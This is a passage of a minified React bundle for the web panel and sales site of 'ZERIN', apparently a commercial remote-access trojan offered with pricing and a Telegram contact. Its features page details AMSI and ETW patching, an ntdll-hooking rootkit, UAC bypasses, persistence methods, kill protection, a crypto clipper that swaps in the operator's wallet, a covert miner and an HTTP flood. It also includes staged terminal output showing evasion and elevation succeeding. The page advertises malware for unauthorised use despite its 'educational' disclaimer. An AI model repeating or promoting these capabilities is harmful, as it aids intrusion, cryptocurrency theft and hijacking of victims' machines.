elevation)"},{name:"BITS Job",desc:"Background Intelligent Transfer Service notification command"},{name:"COM Object Hijack",desc:"CLSID InProcServer32 hijack — loaded by Explorer on login"},{name:"DLL Search Order",desc:"Plant DLL in application directory for search order hijack"},{name:"WMI Subscription",desc:"FilterToConsumerBinding with CommandLineEventConsumer"},{name:"Port Monitor",desc:"Print spooler monitor DLL — loaded by spoolsv.exe (requires elevation)"},{name:"Security Support Provider",desc:"LSA Security Packages registry — loaded by LSASS on boot"}]},{id:"evasion",label:"Evasion Engine",tag:"EVA",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 9.88",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Multi-layered defense evasion — static, runtime, and in-memory techniques.",features:[{name:"Rootkit (11 Hooks)",desc:"Reflective DLL with inline hooks for process, file, registry, network, and service concealment",detail:"MinHook-based: NtQuerySystemInformation, NtQueryDirectoryFile, NtEnumerateKey, NtDeviceIoControlFile, and more"},{name:"AMSI Bypass",desc:"Patches AmsiOpenSession at runtime — all AMSI scans silently fail",detail:"XOR-constructed patch bytes avoid static signatures"},{name:"ETW Patching",desc:"Patches EtwEventWrite with xor eax,eax; ret — blinds EDR telemetry",detail:"Applied in own process + all injected processes"},{name:"Sleep Obfuscation",desc:"Ekko-style: XOR-encrypts .text section during beacon sleep intervals",detail:"Timer-queue based encryption/decryption cycle"},{name:"Indirect Syscalls",desc:"Extracts SSNs from ntdll, uses syscall;ret gadgets — bypasses userland hooks",detail:"NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, and more"},{name:"ntdll Unhooking",desc:"Restores ntdll .text from clean KnownDlls mapping — removes EDR hooks",detail:"NtOpenSection/NtMapViewOfSection — no file I/O"},{name:"Polymorphic Engine",desc:"Every build produces unique machine code — no two agents share the same hash",detail:"Junk code generation, function randomization, unique keys per build"},{name:"Encrypted Strings",desc:"All strings ChaCha20-encrypted per-build, decrypted on stack at runtime",detail:"Wiped after use — zero plaintext in memory at rest"},{name:"IAT Dilution",desc:"Benign Windows APIs forced into import table to mimic legitimate software",detail:"Clean import profile — no suspicious API imports visible"},{name:"Dynamic API Resolution",desc:"PEB walk + FNV1a hash lookup — sensitive APIs never appear in IAT",detail:"RESOLVE_API macro for all Nt* and injection APIs"},{name:"Kill Protection",desc:"Strips terminate/suspend rights from OpenProcess calls targeting agent PID",detail:"Blocks Task Manager, taskkill, Process Explorer"},{name:"Child Process Injection",desc:"NtResumeThread hook auto-injects rootkit into every new child process",detail:"Shared memory ring buffer IPC for near-instant propagation"}],terminal:{title:"zerin :: evasion-status",lines:["$ evasion --status",' AMSI Bypass ........... active',' ETW Patching .......... active',' Sleep Obfuscation ..... active',' Indirect Syscalls ..... active',' ntdll Unhooked ........ clean',' Rootkit Hooks ......... 11/11',' Kill Protection ....... active',' Injected Processes .... 34']}},{id:"network",label:"Network Operations",tag:"NET",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Pivot into internal networks and route traffic through compromised hosts.",features:[{name:"SOCKS5 Reverse Proxy",desc:"Full SOCKS5 proxy tunneled through the agent over WebSocket",detail:"256 concurrent channels, binary framing, auto-reconnect"},{name:"Internal Pivoting",desc:"Route operator tools through the agent to reach internal hosts",detail:"Access segmented networks, internal services, lateral movement"},{name:"Port Hiding",desc:"Rootkit filters agent connections from netstat and TCPView",detail:"NtDeviceIoControlFile hook on NSI device — IPv4 and IPv6"}]},{id:"recon",label:"Reconnaissance",tag:"RCN",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m21 21-5.197-5.197m0 0A7.5 7.5 0 1 0 5.196 5.196a7.5 7.5 0 0 0 10.607 10.607Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Comprehensive target profiling and environment enumeration.",features:[{name:"System Info",desc:"OS version, build, architecture, hostname, domain, uptime"},{name:"Hardware Specs",desc:"CPU model, RAM capacity, GPU, disk information"},{name:"Network Interfaces",desc:"Adapters, IP addresses, MAC addresses, gateway info"},{name:"Active Connections",desc:"TCP/UDP connections, listening ports — like netstat"},{name:"Environment Variables",desc:"Full environment variable enumeration"},{name:"Registry Access",desc:"Read and write arbitrary registry keys and values"},{name:"Installed Applications",desc:"Software list from Add/Remove Programs"},{name:"Window Enumeration",desc:"Visible top-level windows with titles and owning PIDs"}]},{id:"privesc",label:"Privilege Escalation",tag:"ESC",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M4.5 10.5 12 3m0 0 7.5 7.5M12 3v18",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Silent UAC bypass techniques for automatic privilege elevation.",features:[{name:"Fodhelper UAC Bypass",desc:"Registry hijack via ms-settings shell command — auto-elevates without prompt",detail:"Works on Windows 10/11, cleans up registry keys after execution"},{name:"CMSTPLUA COM Elevation",desc:"CoGetObject elevation moniker to obtain ICMLuaUtil interface",detail:"ShellExec via COM — works Windows 7 through 11"},{name:"Forced UAC Fallback",desc:"ShellExecuteEx with runas verb if silent methods fail",detail:"Automatic fallback chain — tries silent first, prompts only as last resort"},{name:"Auto-Elevation on Launch",desc:"Automatic silent UAC bypass attempt on agent startup",detail:"Seamless — agent elevates itself without operator interaction"}],terminal:{title:"zerin :: priv-esc",lines:["$ elevate --auto"," [*] Current: Medium Integrity"," [*] Trying Fodhelper bypass..."," [+] Registry hijack set"," [+] fodhelper.exe launched"," [+] Elevated session spawned"," [*] Registry cleaned up",' [] Now running as High Integrity']}},{id:"c2",label:"C2 Infrastructure",tag:"C2I",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Military-grade encrypted communications and payload delivery.",features:[{name:"ChaCha20-Poly1305",desc:"AEAD encryption for all C2 traffic — zero plaintext on the wire",detail:"Per-session keys, authenticated encryption"},{name:"X25519 Key Exchange",desc:"Elliptic curve Diffie-Hellman for forward-secret key negotiation",detail:"Ephemeral keys — compromise of one session doesn't affect others"},{name:"TLS 1.3 Transport",desc:"Industry-standard transport security wrapping the encrypted C2 channel",detail:"Double encryption — TLS outer layer + ChaCha20 inner layer"},{name:"Payload Builder",desc:"On-demand payload generation with configurable parameters",detail:"Callback URL, sleep interval, jitter, user-agent, output format (EXE/DLL)"},{name:"Stager / Stage 0",desc:"Lightweight loader — downloads, decrypts, and reflectively loads the full agent",detail:"XOR-encrypted payload, no disk artifacts, in-memory PE loading"},{name:"Crypter",desc:"Server-side runtime packing engine for additional evasion",detail:"Polymorphic + metamorphic generation, unique structure per build"}]},{id:"extras",label:"Extended Modules",tag:"EXT",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M3.75 6A2.25 2.25 0 0 1 6 3.75h2.25A2.25 2.25 0 0 1 10.5 6v2.25a2.25 2.25 0 0 1-2.25 2.25H6a2.25 2.25 0 0 1-2.25-2.25V6ZM3.75 15.75A2.25 2.25 0 0 1 6 13.5h2.25a2.25 2.25 0 0 1 2.25 2.25V18a2.25 2.25 0 0 1-2.25 2.25H6A2.25 2.25 0 0 1 3.75 18v-2.25ZM13.5 6a2.25 2.25 0 0 1 2.25-2.25H18A2.25 2.25 0 0 1 20.25 6v2.25A2.25 2.25 0 0 1 18 10.5h-2.25a2.25 2.25 0 0 1-2.25-2.25V6ZM13.5 15.75a2.25 2.25 0 0 1 2.25-2.25H18a2.25 2.25 0 0 1 2.25 2.25V18A2.25 2.25 0 0 1 18 20.25h-2.25a2.25 2.25 0 0 1-2.25-2.25v-2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Additional operator modules for disruption, crypto operations, and stress testing.",features:[{name:"Troll Module",desc:"MessageBox, text-to-speech, wallpaper change, taskbar hide, CD eject, mouse/keyboard lock, black screen, DNS reroute",detail:"12 disruption commands for operator interaction"},{name:"Crypto Clipper",desc:"Clipboard monitoring for 9 cryptocurrencies — BTC, ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB",detail:"Format-aware pattern matching (Base58, Bech32, hex), operator wallet replacement"},{name:"Miner Management",desc:"XMRig lifecycle control — deploy, configure pool/wallet, start/stop, monitor hashrate",detail:"IDLE priority, configurable CPU throttle, HTTP API stats"},{name:"HTTP Flood",desc:"Layer 7 stress testing — up to 64 threads with randomized User-Agent rotation",detail:"Configurable duration, method (GET/POST/HEAD), auto-stop watchdog"},{name:"Power Control",desc:"Restart or shutdown the target system remotely"},{name:"Agent Uninstall",desc:"Clean removal — strips persistence entries and self-deletes"}]}];function A3(e=.15){const t=p.useRef(null),[n,r]=p.useState(!1);return p.useEffect(()=>{const i=t.current;if(!i)return;const a=new IntersectionObserver(([o])=>{o.isIntersecting&&(r(!0),a.disconnect())},{threshold:e});return a.observe(i),()=>a.disconnect()},[e]),{ref:t,visible:n}}const iV=p.memo(function(){const t=p.useRef(null);return p.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,a=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let b=0;b{cancelAnimationFrame(i),window.removeEventListener("resize",y)}},[]),s.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function g2({text:e,base:t}){const n=[];let r=0;const i=/([^<]*)<\/span>/g;let a=0,o;for(;(o=i.exec(e))!==null;)o.index>a&&n.push(s.jsx("span",{className:t,children:e.slice(a,o.index)},r++)),n.push(s.jsx("span",{className:o[1],children:o[2]},r++)),a=i.lastIndex;return as.jsx("div",{className:`transition-all duration-500 ${r?"opacity-100":"opacity-0"}`,style:{transitionDelay:r?`${a*80}ms`:"0ms"},children:i.startsWith("$")?s.jsxs(s.Fragment,{children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"ml-2",children:s.jsx(g2,{text:i.slice(1),base:"text-zerin-text-dim"})})]}):s.jsx("span",{className:"pl-4",children:s.jsx(g2,{text:i,base:"text-zerin-text-muted/60"})})},a))})]})}const sV=p.memo(function({feat:t,delay:n,visible:r}){const[i,a]=p.useState(!1);return s.jsx("div",{className:`group border border-[#1a1a22] bg-[#08080c]/60 hover:border-zerin-accent/20 transition-all duration-500 ${r?"opacity-100 translate-y-0":"opacity-0 translate-y-3"}`,style:{transitionDelay:r?`${n}ms`:"0ms"},children:s.jsxs("button",{onClick:()=>t.detail&&a(!i),className:"w-full text-left px-5 py-4 flex items-start gap-4",children:[s.jsx("div",{className:"flex-shrink-0 mt-0.5 w-1.5 h-1.5 rounded-full bg-zerin-accent/50 group-hover:bg-zerin-accent transition-colors"}),s.jsxs("div",{className:"flex-1 min-w-0",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("h4",{className:"font-display text-[14px] font-semibold text-zerin-text group-hover:text-zerin-accent transition-colors duration-300",children:t.name}),t.detail&&s.jsx("svg",{className:`w-3 h-3 text-zerin-text-muted/40 transition-transform duration-200 ${i?"rotate-180":""}`,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"m19.5 8.25-7.5 7.5-7.5-7.5"})})]}),s.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted leading-relaxed mt-0.5",children:t.desc}),t.detail&&i&&s.jsx("p",{className:"font-mono text-[11px] text-zerin-accent/60 leading-relaxed mt-2 pl-0 border-l-2 border-zerin-accent/20 ml-0 pl-3",children:t.detail})]})]})})});function oV({cat:e,index:t}){const{ref:n,visible:r}=A3(.1);return s.jsxs("section",{ref:n,id:e.id,className:"scroll-mt-24",children:[s.jsxs("div",{className:`flex items-center gap-4 mb-6 transition-all duration-700 ${r?"opacity-100 translate-x-0":"opacity-0 -translate-x-4"}`,children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent/40",children:String(t+1).padStart(2,"0")}),s.jsx("div",{className:"w-8 h-8 border border-zerin-accent/20 bg-zerin-accent/5 flex items-center justify-center text-zerin-accent/70",children:e.icon})]}),s.jsxs("div",{children:[s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("h2",{className:"font-display font-bold text-xl text-zerin-text tracking-tight",children:e.label}),s.jsx("span",{className:"font-mono text-[9px] tracking-[0.15em] border border-zerin-accent/20 text-zerin-accent/50 px-1.5 py-0.5 leading-none",children:e.tag})]}),s.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted mt-0.5",children:e.lead})]})]}),s.jsxs("div",{className:`grid gap-[1px] ${e.terminal?"lg:grid-cols-[1fr_380px]":""} gap-6`,children:[s.jsx("div",{className:"space-y-[1px]",children:e.features.map((i,a)=>s.jsx(sV,{feat:i,delay:a*50,visible:r},i.name))}),e.terminal&&s.jsx("div",{className:"hidden lg:block",children:s.jsx("div",{className:"sticky top-24",children:s.jsx(aV,{title:e.terminal.title,lines:e.terminal.lines})})})]})]})}function lV({activeId:e}){return s.jsx("nav",{className:"hidden xl:block fixed left-6 top-1/2 -translate-y-1/2 z-40",children:s.jsx("div",{className:"flex flex-col gap-1",children:ji.map(t=>s.jsxs("a",{href:`#${t.id}`,className:`group flex items-center gap-2 py-1 transition-all duration-300 ${e===t.id?"opacity-100":"opacity-30 hover:opacity-60"}`,children:[s.jsx("div",{className:`h-[2px] transition-all duration-300 ${e===t.id?"w-6 bg-zerin-accent":"w-3 bg-zerin-text-muted/40 group-hover:w-4 group-hover:bg-zerin-text-muted/60"}`}),s.jsx("span",{className:"font-mono text-[9px] tracking-[0.15em] text-zerin-text-muted uppercase",children:t.tag})]},t.id))})})}function Dl({value:e,label:t,suffix:n=""}){return s.jsxs("div",{className:"text-center",children:[s.jsxs("div",{className:"font-mono text-3xl md:text-4xl font-bold text-zerin-accent tabular-nums",children:[e,n]}),s.jsx("div",{className:"text-zerin-text-muted text-[10px] mt-1.5 uppercase tracking-[0.2em] font-mono",children:t})]})}function cV(){const[e,t]=p.useState(!1),[n,r]=p.useState(ji[0].id);p.useEffect(()=>{const o=()=>t(window.scrollY>20);return window.addEventListener("scroll",o),()=>window.removeEventListener("scroll",o)},[]),p.useEffect(()=>{const o=new IntersectionObserver(c=>{for(const u of c)u.isIntersecting&&r(u.target.id)},{rootMargin:"-30% 0px -60% 0px"});return ji.map(c=>document.getElementById(c.id)).filter(Boolean).forEach(c=>o.observe(c)),()=>o.disconnect()},[]);const i=p.useCallback(()=>{window.scrollTo({top:0,behavior:"smooth"})},[]),a=ji.reduce((o,l)=>o+l.features.length,0);return s.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden overflow-y-auto",children:[s.jsx(iV,{}),s.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[1000px] h-[600px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)",zIndex:0}}),s.jsx("nav",{className:`fixed top-0 left-0 right-0 z-50 transition-all duration-300 ${e?"bg-[#04040a]/80 backdrop-blur-xl border-b border-[#1a1a22]":"bg-transparent"}`,children:s.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[s.jsx("div",{className:"flex items-center gap-3",children:s.jsxs(it,{to:"/",className:"flex items-center gap-3 hover:opacity-80 transition-opacity",children:[s.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),s.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"C2"})]})}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(it,{to:"/features",className:"text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Features"}),s.jsx("a",{href:"/#pricing",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Pricing"}),s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5 flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx(it,{to:"/login",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Login"}),s.jsx(it,{to:"/register",className:"bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 hover:bg-zerin-accent/15 text-zerin-accent text-sm font-mono px-4 py-1.5 transition-all duration-300",children:"Register"})]})]})}),s.jsx(lV,{activeId:n}),s.jsxs("section",{className:"relative z-10 pt-32 pb-16 px-6 text-center",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Platform Capabilities"}),s.jsxs("h1",{className:"font-display font-bold text-4xl sm:text-5xl md:text-6xl tracking-tight mt-4 mb-5",children:["Full Spectrum"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent via-cyan-300 to-zerin-accent bg-clip-text text-transparent",children:"Red Team Toolkit"})]}),s.jsxs("p",{className:"max-w-2xl mx-auto text-zerin-text-muted/80 text-[15px] leading-relaxed font-mono",children:[a," capabilities across ",ji.length," modules — from initial access to persistence, evasion, and exfiltration. Everything an operator needs in a single platform."]}),s.jsxs("div",{className:"mt-14 max-w-3xl mx-auto grid grid-cols-2 sm:grid-cols-4 gap-8 border border-[#1a1a22] bg-[#08080c]/50 py-6 px-6",children:[s.jsx(Dl,{value:String(a),label:"Capabilities"}),s.jsx(Dl,{value:"13",label:"Persist Methods"}),s.jsx(Dl,{value:"11",label:"Rootkit Hooks"}),s.jsx(Dl,{value:"256",label:"Proxy Channels"})]}),s.jsx("div",{className:"mt-10 flex flex-wrap items-center justify-center gap-2",children:ji.map(o=>s.jsx("a",{href:`#${o.id}`,className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/60 border border-[#1a1a22] hover:border-zerin-accent/30 hover:text-zerin-accent/80 px-3 py-1.5 transition-all duration-300 uppercase",children:o.label},o.id))})]}),s.jsx("div",{className:"max-w-6xl mx-auto px-6",children:s.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"})}),s.jsx("div",{className:"relative z-10 max-w-5xl mx-auto px-6 py-20 space-y-24",children:ji.map((o,l)=>s.jsx(oV,{cat:o,index:l},o.id))}),s.jsxs("section",{className:"relative z-10 py-24 px-6 text-center border-t border-[#1a1a22]/50",children:[s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl tracking-tight mb-4",children:["Ready to"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"operate"}),"?"]}),s.jsxs("p",{className:"text-zerin-text-muted text-[15px] mb-8 max-w-md mx-auto",children:["Get lifetime access to the full platform — all ",a," capabilities included."]}),s.jsxs("div",{className:"flex items-center justify-center gap-4",children:[s.jsxs("a",{href:"/#pricing",className:"group relative overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-8 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)]",children:[s.jsx("span",{className:"relative z-10",children:"View Pricing"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]}),s.jsx(it,{to:"/register",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-8 py-3 transition-all duration-300",children:"Register"})]})]}),s.jsxs("footer",{className:"relative z-10 border-t border-[#1a1a22]/50 py-8 px-6",children:[s.jsxs("div",{className:"max-w-6xl mx-auto flex items-center justify-between",children:[s.jsxs("button",{onClick:i,className:"flex items-center gap-2 hover:opacity-80 transition-opacity",children:[s.jsx("span",{className:"font-display font-bold text-sm text-zerin-text-muted/60",children:"ZERIN"}),s.jsx("span",{className:"text-[8px] font-mono text-zerin-text-muted/30 tracking-widest",children:"WebRAT"})]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"font-mono text-[11px] text-zerin-text-muted/40 hover:text-zerin-accent transition-colors flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/30",children:"© 2026"})]})]}),s.jsx("div",{className:"max-w-6xl mx-auto mt-4 pt-4 border-t border-[#1a1a22]/30",children:s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted/25 leading-relaxed text-center",children:"This software is provided strictly for educational purposes and authorized penetration testing only. The developer does not promote, condone, or support the use of this tool for unauthorized access, malware distribution, or any illegal activity. By using this software you agree to comply with all applicable laws in your jurisdiction. Use at your own risk."})})]})]})}function Rl({children:e}){const{isAuthenticated:t}=Xa();return t?s.jsx(s.Fragment,{children:e}):s.jsx(Bi,{to:"/",replace:!0})}function uV({children:e}){const{isAuthenticated:t,isAdmin:n}=Xa();return t?n?s.jsx(s.Fragment,{children:e}):s.jsx(Bi,{to:"/",replace:!0}):s.jsx(Bi,{to:"/login",replace:!0})}function y2({children:e}){const{isAuthenticated:t}=Xa();return t?s.jsx(Bi,{to:"/dashboard",replace:!0}):s.jsx(s.Fragment,{children:e})}function dV(){const[e]=nx(),t=Qn();return p.useEffect(()=>{let n=e.get("token");if(!n){const r=window.location.hash;r.startsWith("#token=")&&(n=decodeURIComponent(r.slice(7)))}n&&n.split(".").length===3&&(rx(n),ii()),t("/dashboard",{replace:!0})},[e,t]),null}function fV(){const{isAuthenticated:e}=Xa();return e?s.jsx(Bi,{to:"/dashboard",replace:!0}):ax()?s.jsx(zA,{}):s.jsx(Bi,{to:"/login",replace:!0})}function pV(){return s.jsx(UE,{children:s.jsxs(ZP,{children:[s.jsx(lt,{path:"/",element:s.jsx(fV,{})}),s.jsx(lt,{path:"/auth",element:s.jsx(dV,{})}),s.jsx(lt,{path:"/features",element:s.jsx(cV,{})}),s.jsx(lt,{path:"/payment/:id",element:s.jsx(rV,{})}),s.jsx(lt,{path:"/login",element:s.jsx(y2,{children:s.jsx(CA,{})})}),s.jsx(lt,{path:"/register",element:s.jsx(y2,{children:s.jsx(PA,{})})}),s.jsx(lt,{path:"/vnc/:id",element:s.jsx(Rl,{children:s.jsx(FU,{})})}),s.jsx(lt,{path:"/webcam/:id",element:s.jsx(Rl,{children:s.jsx(qU,{})})}),s.jsx(lt,{path:"/mic/:id",element:s.jsx(Rl,{children:s.jsx(GU,{})})}),s.jsxs(lt,{element:s.jsx(Rl,{children:s.jsx(yA,{})}),children:[s.jsx(lt,{path:"/dashboard",element:s.jsx(cU,{})}),s.jsx(lt,{path:"/agents/:id",element:s.jsx(MU,{})}),s.jsx(lt,{path:"/events",element:s.jsx(IU,{})}),s.jsx(lt,{path:"/payloads",element:s.jsx($U,{})}),s.jsx(lt,{path:"/crypter",element:s.jsx(eV,{})}),s.jsx(lt,{path:"/admin",element:s.jsx(uV,{children:s.jsx(JU,{})})})]}),s.jsx(lt,{path:"*",element:s.jsx(Bi,{to:"/",replace:!0})})]})})}up.createRoot(document.getElementById("root")).render(s.jsx(oh.StrictMode,{children:s.jsx(sE,{children:s.jsx(pV,{})})}));